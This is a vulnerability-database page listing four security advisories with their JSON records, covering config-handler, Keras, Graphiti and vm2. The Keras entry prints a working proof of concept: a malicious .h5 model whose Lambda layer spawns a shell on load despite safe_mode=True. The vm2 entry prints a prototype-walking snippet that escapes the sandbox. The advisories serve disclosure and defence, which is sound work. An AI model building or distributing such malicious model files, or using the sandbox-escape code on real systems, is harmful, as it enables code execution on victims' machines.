Vulnerability-Lookup

GHSA-2W3F-9W3Q-QW77

Vulnerability from github – Published: 2021-10-12 18:30 – Updated: 2021-10-20 17:12

Summary

Prototype Pollution in config-handler

Details

All versions of package config-handler are vulnerable to Prototype Pollution when loading config files.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "config-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23448"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-10-12T17:01:08Z",
    "nvd_published_at": "2021-10-11T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "All versions of package config-handler are vulnerable to Prototype Pollution when loading config files.",
  "id": "GHSA-2w3f-9w3q-qw77",
  "modified": "2021-10-20T17:12:24Z",
  "published": "2021-10-12T18:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23448"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jarradseers/config-handler/issues/1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jarradseers/config-handler"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-CONFIGHANDLER-1564947"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in config-handler"
}

GHSA-36RR-WW3J-VRJV

Vulnerability from github – Published: 2025-09-19 20:12 – Updated: 2026-06-06 00:33

Summary

The Keras `Model.load_model` method **silently** ignores `safe_mode=True` and allows arbitrary code execution when a `.h5`/`.hdf5` file is loaded.

Details

Note: This report has already been discussed with the Google OSS VRP team, who recommended that I reach out directly to the Keras team. I’ve chosen to do so privately rather than opening a public issue, due to the potential security implications. I also attempted to use the email address listed in your SECURITY.md, but received no response.

Summary

When a model in the .h5 (or .hdf5) format is loaded using the Keras Model.load_model method, the safe_mode=True setting is silently ignored without any warning or error. This allows an attacker to execute arbitrary code on the victim’s machine with the same privileges as the Keras application. This report is specific to the .h5/.hdf5 file format. The attack works regardless of the other parameters passed to load_model and does not require any sophisticated technique—.h5 and .hdf5 files are simply not checked for unsafe code execution.

From this point on, I will refer only to the .h5 file format, though everything equally applies to .hdf5.

Details

Intended behaviour

According to the official Keras documentation, safe_mode is defined as:

safe_mode: Boolean, whether to disallow unsafe lambda deserialization. When safe_mode=False, loading an object has the potential to trigger arbitrary code execution. This argument is only applicable to the Keras v3 model format. Defaults to True.

I understand that the behavior described in this report is somehow intentional, as safe_mode is only applicable to .keras models.

However, in practice, this behavior is misleading for users who are unaware of the internal Keras implementation. .h5 files can still be loaded seamlessly using load_model with safe_mode=True, and the absence of any warning or error creates a false sense of security. Whether intended or not, I believe silently ignoring a security-related parameter is not the best possible design decision. At a minimum, if safe_mode cannot be applied to a given file format, an explicit error should be raised to alert the user.

This issue is particularly critical given the widespread use of the .h5 format, despite the introduction of newer formats.

As a small anecdotal test, I asked several of my colleagues what they would expect when loading a .h5 file with safe_mode=True. None of them expected the setting to be silently ignored, even after reading the documentation. While this is a small sample, all of these colleagues are cybersecurity researchers—experts in binary or ML security—and regular participants in DEF CON finals. I was careful not to give any hints about the vulnerability in our discussion.

Technical Details

Examining the implementation of load_model in keras/src/saving/saving_api.py, we can see that the safe_mode parameter is completely ignored when loading .h5 files. Here's the relevant snippet:

def load_model(filepath, custom_objects=None, compile=True, safe_mode=True):
    is_keras_zip = ...
    is_keras_dir = ...
    is_hf = ...

    # Support for remote zip files
    if (
        file_utils.is_remote_path(filepath)
        and not file_utils.isdir(filepath)
        and not is_keras_zip
        and not is_hf
    ):
        ...

    if is_keras_zip or is_keras_dir or is_hf:
        ...

    if str(filepath).endswith((".h5", ".hdf5")):
        return legacy_h5_format.load_model_from_hdf5(
            filepath, custom_objects=custom_objects, compile=compile
        )

As shown, when the file format is .h5 or .hdf5, the method delegates to legacy_h5_format.load_model_from_hdf5, which does not use or check the safe_mode parameter at all.

Solution

Since the release of the new .keras format, I believe the simplest and most effective way to address this misleading behavior—and to improve security in Keras—is to have the safe_mode parameter raise an explicit error when safe_mode=True is used with .h5/.hdf5 files. This error should be clear and informative, explaining that the legacy format does not support safe_mode and outlining the associated risks of loading such files.

I recognize this fix may have minor backward compatibility considerations.

If you confirm that you're open to this approach, I’d be happy to open a PR that includes the missing check.

PoC

From the attacker’s perspective, creating a malicious .h5 model is as simple as the following:

import keras

f = lambda x: (
    exec("import os; os.system('sh')"),
    x,
)

model = keras.Sequential()
model.add(keras.layers.Input(shape=(1,)))
model.add(keras.layers.Lambda(f))
model.compile()

keras.saving.save_model(model, "./provola.h5")

From the victim’s side, triggering code execution is just as simple:

import keras

model = keras.models.load_model("./provola.h5", safe_mode=True)

That’s all. The exploit occurs during model loading, with no further interaction required. The parameters passed to the method do not mitigate of influence the attack in any way.

As expected, the attacker can substitute the exec(...) call with any payload. Whatever command is used will execute with the same permissions as the Keras application.

Attack scenario

The attacker may distribute a malicious .h5/.hdf5 model on platforms such as Hugging Face, or act as a malicious node in a federated learning environment. The victim only needs to load the model—even with safe_mode=True that would give the illusion of security. No inference or further action is required, making the threat particularly stealthy and dangerous.

Once the model is loaded, the attacker gains the ability to execute arbitrary code on the victim’s machine with the same privileges as the Keras process. The provided proof-of-concept demonstrates a simple shell spawn, but any payload could be delivered this way.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "keras"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.11.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-9905"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-19T20:12:05Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "**Note:** This report has already been discussed with the Google OSS VRP team, who recommended that I reach out directly to the Keras team. I\u2019ve chosen to do so privately rather than opening a public issue, due to the potential security implications. I also attempted to use the email address listed in your `SECURITY.md`, but received no response.\n\n---\n\n## Summary\n\nWhen a model in the `.h5` (or `.hdf5`) format is loaded using the Keras `Model.load_model` method, the `safe_mode=True` setting is **silently** ignored without any warning or error. This allows an attacker to execute arbitrary code on the victim\u2019s machine with the same privileges as the Keras application. This report is specific to the `.h5`/`.hdf5` file format. The attack works regardless of the other parameters passed to `load_model` and does not require any sophisticated technique\u2014`.h5` and `.hdf5` files are simply not checked for unsafe code execution.\n\nFrom this point on, I will refer only to the `.h5` file format, though everything equally applies to `.hdf5`.\n\n## Details\n\n### Intended behaviour \nAccording to the official Keras documentation, `safe_mode` is defined as:\n\n```\nsafe_mode: Boolean, whether to disallow unsafe lambda deserialization. When safe_mode=False, loading an object has the potential to trigger arbitrary code execution. This argument is only applicable to the Keras v3 model format. Defaults to True.\n```\nI understand that the behavior described in this report is somehow **intentional**, as `safe_mode` is only applicable to `.keras` models. \n\nHowever, in practice, this behavior is misleading for users who are unaware of the internal Keras implementation. `.h5` files can still be loaded seamlessly using `load_model` with `safe_mode=True`, and the absence of any warning or error creates a **false sense of security**. Whether intended or not, I believe silently ignoring a security-related parameter is not the best possible design decision. At a minimum, if `safe_mode` cannot be applied to a given file format, an explicit error should be raised to alert the user.\n\nThis issue is particularly critical given the widespread use of the `.h5` format, despite the introduction of newer formats.\n\nAs a small anecdotal test, I asked several of my colleagues what they would expect when loading a `.h5` file with `safe_mode=True`. None of them expected the setting to be **silently** ignored, even after reading the documentation. While this is a small sample, all of these colleagues are cybersecurity researchers\u2014experts in binary or ML security\u2014and regular participants in DEF CON finals. I was careful not to give any hints about the vulnerability in our discussion.\n\n### Technical Details\n\nExamining the implementation of `load_model` in `keras/src/saving/saving_api.py`, we can see that the `safe_mode` parameter is completely ignored when loading `.h5` files. Here\u0027s the relevant snippet:\n\n```python\ndef load_model(filepath, custom_objects=None, compile=True, safe_mode=True):\n    is_keras_zip = ...\n    is_keras_dir = ...\n    is_hf = ...\n\n    # Support for remote zip files\n    if (\n        file_utils.is_remote_path(filepath)\n        and not file_utils.isdir(filepath)\n        and not is_keras_zip\n        and not is_hf\n    ):\n        ...\n\n    if is_keras_zip or is_keras_dir or is_hf:\n        ...\n\n    if str(filepath).endswith((\".h5\", \".hdf5\")):\n        return legacy_h5_format.load_model_from_hdf5(\n            filepath, custom_objects=custom_objects, compile=compile\n        )\n```\n\nAs shown, when the file format is `.h5` or `.hdf5`, the method delegates to `legacy_h5_format.load_model_from_hdf5`, which does not use or check the `safe_mode` parameter at all.\n\n### Solution\n\nSince the release of the new `.keras` format, I believe the simplest and most effective way to address this misleading behavior\u2014and to improve security in Keras\u2014is to have the `safe_mode` parameter raise an **explicit error** when `safe_mode=True` is used with `.h5`/`.hdf5` files. This error should be clear and informative, explaining that the legacy format does not support `safe_mode` and outlining the associated risks of loading such files.\n\nI recognize this fix may have minor backward compatibility considerations.\n\nIf you confirm that you\u0027re open to this approach, I\u2019d be happy to open a PR that includes the missing check.\n\n\n## PoC\n\nFrom the attacker\u2019s perspective, creating a malicious `.h5` model is as simple as the following:\n\n```python\nimport keras\n\nf = lambda x: (\n    exec(\"import os; os.system(\u0027sh\u0027)\"),\n    x,\n)\n\nmodel = keras.Sequential()\nmodel.add(keras.layers.Input(shape=(1,)))\nmodel.add(keras.layers.Lambda(f))\nmodel.compile()\n\nkeras.saving.save_model(model, \"./provola.h5\")\n```\n\nFrom the victim\u2019s side, triggering code execution is just as simple:\n\n```python\nimport keras\n\nmodel = keras.models.load_model(\"./provola.h5\", safe_mode=True)\n```\n\nThat\u2019s all. The exploit occurs **during model loading**, with no further interaction required. The parameters passed to the method do not mitigate of influence the attack in any way.\n\n\nAs expected, the attacker can substitute the `exec(...)` call with any payload. Whatever command is used will execute with the same permissions as the Keras application.\n\n## Attack scenario\n\nThe attacker may distribute a malicious `.h5`/`.hdf5` model on platforms such as Hugging Face, or act as a malicious node in a federated learning environment. The victim only needs to load the model\u2014*even with* `safe_mode=True` that would give the illusion of security. No inference or further action is required, making the threat particularly stealthy and dangerous.\n\nOnce the model is loaded, the attacker gains the ability to execute arbitrary code on the victim\u2019s machine with the same privileges as the Keras process. The provided proof-of-concept demonstrates a simple shell spawn, but any payload could be delivered this way.",
  "id": "GHSA-36rr-ww3j-vrjv",
  "modified": "2026-06-06T00:33:31Z",
  "published": "2025-09-19T20:12:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/keras-team/keras/security/advisories/GHSA-36rr-ww3j-vrjv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9905"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keras-team/keras/pull/21602"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keras-team/keras"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/keras/PYSEC-2025-123.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "The Keras `Model.load_model` method **silently** ignores `safe_mode=True` and allows arbitrary code execution when a `.h5`/`.hdf5` file is loaded."
}

GHSA-3M5V-4XP5-GJG2

Vulnerability from github – Published: 2026-03-20 15:58 – Updated: 2026-03-25 21:33

Summary

Graphiti Affected by Arbitrary Method Execution via Unvalidated Relationship Names

Details

Summary

An arbitrary method execution vulnerability has been found which affects Graphiti's JSONAPI write functionality. An attacker can craft a malicious JSONAPI payload with arbitrary relationship names to invoke any public method on the underlying model instance, class or its associations.

Impact

Any application exposing Graphiti write endpoints (create/update/delete) to untrusted users is affected.

The Graphiti::Util::ValidationResponse#all_valid? method recursively calls model.send(name) using relationship names taken directly from user-supplied JSONAPI payloads, without validating them against the resource's configured sideloads. This allows an attacker to potentially run any public method on a given model instance, on the instance class or associated instances or classes, including destructive operations.

Patches

This is patched in Graphiti v1.10.2. Users should upgrade as soon as possible.

Workarounds

If upgrading to v1.10.2 is not immediately possible, consider one or more of the following mitigations:

Restrict write access: Ensure Graphiti write endpoints (create/update/delete) are not accessible to untrusted users.
Authentication & authorisation: Apply strong authentication and authorisation checks before any write operation is processed, for example use Rails strong parameters to ensure only valid parameters are processed.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.10.1"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "graphiti"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33286"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T15:58:14Z",
    "nvd_published_at": "2026-03-24T00:16:30Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nAn arbitrary method execution vulnerability has been found which affects Graphiti\u0027s JSONAPI write functionality. An attacker can craft a malicious JSONAPI payload with arbitrary relationship names to invoke any public method on the underlying model instance, class or its associations.\n\n### Impact\n\nAny application exposing Graphiti write endpoints (create/update/delete) to untrusted users is affected. \n\nThe `Graphiti::Util::ValidationResponse#all_valid?` method recursively calls `model.send(name)` using relationship names taken directly from user-supplied JSONAPI payloads, without validating them against the resource\u0027s configured sideloads. This allows an attacker to potentially run any public method on a given model instance, on the instance class or associated instances or classes, including destructive operations.\n\n### Patches\n\nThis is patched in Graphiti **v1.10.2**. Users should upgrade as soon as possible.\n\n### Workarounds\n\nIf upgrading to v1.10.2 is not immediately possible, consider one or more of the following mitigations:\n\n- **Restrict write access**: Ensure Graphiti write endpoints (create/update/delete) are not accessible to untrusted users.\n- **Authentication \u0026 authorisation**: Apply strong authentication and authorisation checks before any write operation is processed, for example use Rails strong parameters to ensure only valid parameters are processed.",
  "id": "GHSA-3m5v-4xp5-gjg2",
  "modified": "2026-03-25T21:33:29Z",
  "published": "2026-03-20T15:58:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/graphiti-api/graphiti/security/advisories/GHSA-3m5v-4xp5-gjg2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33286"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphiti-api/graphiti/commit/ddb5ad2b69330774bd1a47935ed89a9fe4396a54"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/graphiti-api/graphiti"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphiti-api/graphiti/releases/tag/v1.10.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/graphiti/CVE-2026-33286.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Graphiti Affected by Arbitrary Method Execution via Unvalidated Relationship Names"
}

GHSA-3VGF-8M4Q-Q4QR

Vulnerability from github – Published: 2026-10-05 22:45 – Updated: 2026-10-05 22:45

Summary

vm2: Default VM can mutate host TypedArray and ArrayBuffer intrinsics after the host-prototype pollution fix

Details

Summary

vm2's current host-intrinsic prototype protection is incomplete. The fix for GHSA-vwrp-x96c-mhwq blocks sandbox writes into classic host intrinsics such as Object.prototype, Array.prototype, and Function.prototype, but current head still lets sandbox code in a default VM reach and mutate host Uint8Array.prototype, %TypedArray%.prototype, and ArrayBuffer.prototype.

After VM.run() returns, normal host typed-array and ArrayBuffer objects observe attacker-controlled properties and methods installed by the sandbox.

Technical Details

The existing mitigation relies on protectedHostObjects in lib/bridge.js. That set is populated from otherGlobalPrototypes, which is built from a fixed inventory of classic globals:

const globalsList = [
  'Number', 'String', 'Boolean', 'Date', 'RegExp', 'Map', 'WeakMap',
  'Set', 'WeakSet', 'Promise', 'Function'
];

The inventory omits typed-array and ArrayBuffer intrinsics. Sandbox code can still reuse the host-prototype walking primitive from the prior public advisory:

const lookupGetter = ({}).__lookupGetter__;
const apply = Buffer.apply;
const protoGetter = apply.apply(lookupGetter, [Buffer, ['__proto__']]);
const hostBuffer = Buffer.from([1]);

const hostBufferPrototype = protoGetter.call(hostBuffer);
const hostUint8ArrayPrototype = protoGetter.call(hostBufferPrototype);
const hostTypedArrayPrototype = protoGetter.call(hostUint8ArrayPrototype);
const hostArrayBufferPrototype = protoGetter.call(hostBuffer.buffer);

Those objects are not sandbox-local. Inside the sandbox, hostUint8ArrayPrototype === Uint8Array.prototype, hostTypedArrayPrototype === Object.getPrototypeOf(Uint8Array.prototype), and hostArrayBufferPrototype === ArrayBuffer.prototype are all false. Because the objects are not in protectedHostObjects, bridge defineProperty writes are forwarded into the real host objects.

This is the same guard-coverage boundary as the previous host-intrinsic prototype pollution fix, but with a missing intrinsic family. The bridge already has the correct enforcement shape; the protected inventory is too narrow.

PoC

PoV: poc/pov-host-typedarray-arraybuffer-prototype-pollution.js

Current-head output:

{
  "status": "completed",
  "vulnerable": true,
  "node": "v25.8.0",
  "v8": "14.1.146.11-node.20",
  "control": {
    "defineResult": true,
    "sandboxReadsBack": "sandbox-only",
    "hostControlAfter": null
  },
  "exploit": {
    "hostUint8IsSandboxUint8": false,
    "hostTypedArrayIsSandboxTypedArray": false,
    "hostArrayBufferIsSandboxArrayBuffer": false,
    "defineUint8": true,
    "defineTypedArray": true,
    "defineArrayBuffer": true,
    "defineMethod": true
  },
  "hostEffect": {
    "uint8Marker": "polluted-host-uint8array-prototype",
    "typedArrayMarker": "polluted-host-typedarray-prototype",
    "arrayBufferMarker": "polluted-host-arraybuffer-prototype",
    "methodReturn": "sandbox-method-reached-host-uint8array"
  }
}

The control proves sandbox-local Uint8Array.prototype writes remain sandbox-local. The exploit path reaches host prototypes through the bridge and causes host-created objects to observe sandbox-installed properties after VM.run() returns.

Impact

This is a sandbox boundary violation and host intrinsic prototype pollution. An attacker who can run JavaScript in a default vm2 VM can mutate shared host typed-array and ArrayBuffer behavior without NodeVM, require, wildcard builtins, nesting: true, or any host-provided typed-array object.

The supplied PoV demonstrates integrity and availability impact by installing markers and a method on host prototypes:

Uint8Array.prototype
%TypedArray%.prototype, which affects typed-array families through the shared typed-array prototype chain
ArrayBuffer.prototype

The PoV does not claim direct host command execution or direct confidentiality impact. It is local-only and restores touched descriptors before exit.

Suggested Fix

Extend the protected host-object inventory and identity/prototype mappings to typed-array and binary-data intrinsics, including at least:

%TypedArray%.prototype
ArrayBuffer.prototype
SharedArrayBuffer.prototype when present
DataView.prototype
all concrete typed-array prototypes present in the runtime, including Uint8Array.prototype, Uint8ClampedArray.prototype, Int8Array.prototype, Uint16Array.prototype, Int16Array.prototype, Uint32Array.prototype, Int32Array.prototype, Float16Array.prototype when present, Float32Array.prototype, Float64Array.prototype, BigInt64Array.prototype, and BigUint64Array.prototype

A temporary patched-control that added this intrinsic family to thisGlobalPrototypes caused the same PoV's Reflect.defineProperty() calls to throw VMError: Operation not allowed on contextified object, and no host markers were installed.

The fix should cover the same host mutation traps used by the existing host-intrinsic protection: set, defineProperty, deleteProperty, and preventExtensions. It should not special-case Buffer; Buffer is only one way to reach the omitted host prototypes.

Affected Package/Versions

Confirmed on current head 7a1f5100b96f48d34e0fe104ab37c0acc5944f92 / v3.11.5 with Node v25.8.0 / V8 14.1.146.11-node.20.

Confirmed affected after the prior patch: npm:vm2 >= 3.11.0, <= 3.11.5.

Local sweep also reproduces on v3.10.0 through v3.10.5, but that range overlaps the already-published GHSA-vwrp-x96c-mhwq range. v3.9.0 through v3.9.2 did not produce host-visible pollution in the same local test.

Why This Is Not Intended Behavior

vm2 documents VM as a sandbox for untrusted code without require, with only JavaScript built-ins and Node's Buffer available by default. The known escape hatches do not explain this issue:

require.builtin: ['*'] is a NodeVM configuration; this PoV uses default VM.
nesting: true is not enabled or used.
The README timeout caveat covers host code operating on objects returned from the sandbox; this PoV mutates host intrinsics and later affects ordinary host-created typed arrays and ArrayBuffers.

The project's own attack notes state that host-realm intrinsic prototypes should be protected from sandbox writes, while non-intrinsic host objects may remain mutable when intentionally exposed. Typed-array and ArrayBuffer prototypes are host intrinsics, not embedder-owned application objects.

Buffer availability explains how the PoV reaches the host prototype chain, but it does not authorize mutation of unrelated host-realm intrinsics. The host effects are observed on new host-created typed arrays and ArrayBuffers after VM.run() returns; the host is not invoking an object returned from the sandbox.

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H

9.3 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.11.0"
            },
            {
              "fixed": "3.11.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92953"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:45:22Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nvm2\u0027s current host-intrinsic prototype protection is incomplete. The fix for `GHSA-vwrp-x96c-mhwq` blocks sandbox writes into classic host intrinsics such as `Object.prototype`, `Array.prototype`, and `Function.prototype`, but current head still lets sandbox code in a default `VM` reach and mutate host `Uint8Array.prototype`, `%TypedArray%.prototype`, and `ArrayBuffer.prototype`.\n\nAfter `VM.run()` returns, normal host typed-array and ArrayBuffer objects observe attacker-controlled properties and methods installed by the sandbox.\n\n## Technical Details\n\nThe existing mitigation relies on `protectedHostObjects` in `lib/bridge.js`. That set is populated from `otherGlobalPrototypes`, which is built from a fixed inventory of classic globals:\n\n```js\nconst globalsList = [\n  \u0027Number\u0027, \u0027String\u0027, \u0027Boolean\u0027, \u0027Date\u0027, \u0027RegExp\u0027, \u0027Map\u0027, \u0027WeakMap\u0027,\n  \u0027Set\u0027, \u0027WeakSet\u0027, \u0027Promise\u0027, \u0027Function\u0027\n];\n```\n\nThe inventory omits typed-array and ArrayBuffer intrinsics. Sandbox code can still reuse the host-prototype walking primitive from the prior public advisory:\n\n```js\nconst lookupGetter = ({}).__lookupGetter__;\nconst apply = Buffer.apply;\nconst protoGetter = apply.apply(lookupGetter, [Buffer, [\u0027__proto__\u0027]]);\nconst hostBuffer = Buffer.from([1]);\n\nconst hostBufferPrototype = protoGetter.call(hostBuffer);\nconst hostUint8ArrayPrototype = protoGetter.call(hostBufferPrototype);\nconst hostTypedArrayPrototype = protoGetter.call(hostUint8ArrayPrototype);\nconst hostArrayBufferPrototype = protoGetter.call(hostBuffer.buffer);\n```\n\nThose objects are not sandbox-local. Inside the sandbox, `hostUint8ArrayPrototype === Uint8Array.prototype`, `hostTypedArrayPrototype === Object.getPrototypeOf(Uint8Array.prototype)`, and `hostArrayBufferPrototype === ArrayBuffer.prototype` are all false. Because the objects are not in `protectedHostObjects`, bridge `defineProperty` writes are forwarded into the real host objects.\n\nThis is the same guard-coverage boundary as the previous host-intrinsic prototype pollution fix, but with a missing intrinsic family. The bridge already has the correct enforcement shape; the protected inventory is too narrow.\n\n## PoC\n\nPoV: `poc/pov-host-typedarray-arraybuffer-prototype-pollution.js`\n\nCurrent-head output:\n\n```json\n{\n  \"status\": \"completed\",\n  \"vulnerable\": true,\n  \"node\": \"v25.8.0\",\n  \"v8\": \"14.1.146.11-node.20\",\n  \"control\": {\n    \"defineResult\": true,\n    \"sandboxReadsBack\": \"sandbox-only\",\n    \"hostControlAfter\": null\n  },\n  \"exploit\": {\n    \"hostUint8IsSandboxUint8\": false,\n    \"hostTypedArrayIsSandboxTypedArray\": false,\n    \"hostArrayBufferIsSandboxArrayBuffer\": false,\n    \"defineUint8\": true,\n    \"defineTypedArray\": true,\n    \"defineArrayBuffer\": true,\n    \"defineMethod\": true\n  },\n  \"hostEffect\": {\n    \"uint8Marker\": \"polluted-host-uint8array-prototype\",\n    \"typedArrayMarker\": \"polluted-host-typedarray-prototype\",\n    \"arrayBufferMarker\": \"polluted-host-arraybuffer-prototype\",\n    \"methodReturn\": \"sandbox-method-reached-host-uint8array\"\n  }\n}\n```\n\nThe control proves sandbox-local `Uint8Array.prototype` writes remain sandbox-local. The exploit path reaches host prototypes through the bridge and causes host-created objects to observe sandbox-installed properties after `VM.run()` returns.\n\n## Impact\n\nThis is a sandbox boundary violation and host intrinsic prototype pollution. An attacker who can run JavaScript in a default vm2 `VM` can mutate shared host typed-array and ArrayBuffer behavior without `NodeVM`, `require`, wildcard builtins, `nesting: true`, or any host-provided typed-array object.\n\nThe supplied PoV demonstrates integrity and availability impact by installing markers and a method on host prototypes:\n\n- `Uint8Array.prototype`\n- `%TypedArray%.prototype`, which affects typed-array families through the shared typed-array prototype chain\n- `ArrayBuffer.prototype`\n\nThe PoV does not claim direct host command execution or direct confidentiality impact. It is local-only and restores touched descriptors before exit.\n\n## Suggested Fix\n\nExtend the protected host-object inventory and identity/prototype mappings to typed-array and binary-data intrinsics, including at least:\n\n- `%TypedArray%.prototype`\n- `ArrayBuffer.prototype`\n- `SharedArrayBuffer.prototype` when present\n- `DataView.prototype`\n- all concrete typed-array prototypes present in the runtime, including `Uint8Array.prototype`, `Uint8ClampedArray.prototype`, `Int8Array.prototype`, `Uint16Array.prototype`, `Int16Array.prototype`, `Uint32Array.prototype`, `Int32Array.prototype`, `Float16Array.prototype` when present, `Float32Array.prototype`, `Float64Array.prototype`, `BigInt64Array.prototype`, and `BigUint64Array.prototype`\n\nA temporary patched-control that added this intrinsic family to `thisGlobalPrototypes` caused the same PoV\u0027s `Reflect.defineProperty()` calls to throw `VMError: Operation not allowed on contextified object`, and no host markers were installed.\n\nThe fix should cover the same host mutation traps used by the existing host-intrinsic protection: `set`, `defineProperty`, `deleteProperty`, and `preventExtensions`. It should not special-case `Buffer`; `Buffer` is only one way to reach the omitted host prototypes.\n\n## Affected Package/Versions\n\nConfirmed on current head `7a1f5100b96f48d34e0fe104ab37c0acc5944f92` / `v3.11.5` with Node `v25.8.0` / V8 `14.1.146.11-node.20`.\n\nConfirmed affected after the prior patch: `npm:vm2 \u003e= 3.11.0, \u003c= 3.11.5`.\n\nLocal sweep also reproduces on `v3.10.0` through `v3.10.5`, but that range overlaps the already-published `GHSA-vwrp-x96c-mhwq` range. `v3.9.0` through `v3.9.2` did not produce host-visible pollution in the same local test.\n\n## Why This Is Not Intended Behavior\n\nvm2 documents `VM` as a sandbox for untrusted code without `require`, with only JavaScript built-ins and Node\u0027s `Buffer` available by default. The known escape hatches do not explain this issue:\n\n- `require.builtin: [\u0027*\u0027]` is a `NodeVM` configuration; this PoV uses default `VM`.\n- `nesting: true` is not enabled or used.\n- The README timeout caveat covers host code operating on objects returned from the sandbox; this PoV mutates host intrinsics and later affects ordinary host-created typed arrays and ArrayBuffers.\n\nThe project\u0027s own attack notes state that host-realm intrinsic prototypes should be protected from sandbox writes, while non-intrinsic host objects may remain mutable when intentionally exposed. Typed-array and ArrayBuffer prototypes are host intrinsics, not embedder-owned application objects.\n\n`Buffer` availability explains how the PoV reaches the host prototype chain, but it does not authorize mutation of unrelated host-realm intrinsics. The host effects are observed on new host-created typed arrays and ArrayBuffers after `VM.run()` returns; the host is not invoking an object returned from the sandbox.",
  "id": "GHSA-3vgf-8m4q-q4qr",
  "modified": "2026-10-05T22:45:23Z",
  "published": "2026-10-05T22:45:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-3vgf-8m4q-q4qr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92953"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/92a10fca7b3ca63bb1574b6795540264f6805b30"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.8"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-3.11.0-through-3.11.7-prototype-pollution-via-typedarray"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
